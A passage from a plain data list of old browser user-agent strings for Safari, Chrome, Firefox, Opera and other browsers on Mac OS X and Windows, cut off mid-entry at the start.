X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.51 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24 -Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25 -Mozilla/5.0 (Windows NT 5.1; U; ; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30 -Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 -Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre -Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre -Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR) -Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)) -Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US) -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 -Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1 -Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 -Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.30) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/525.13. -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13(KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.48 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 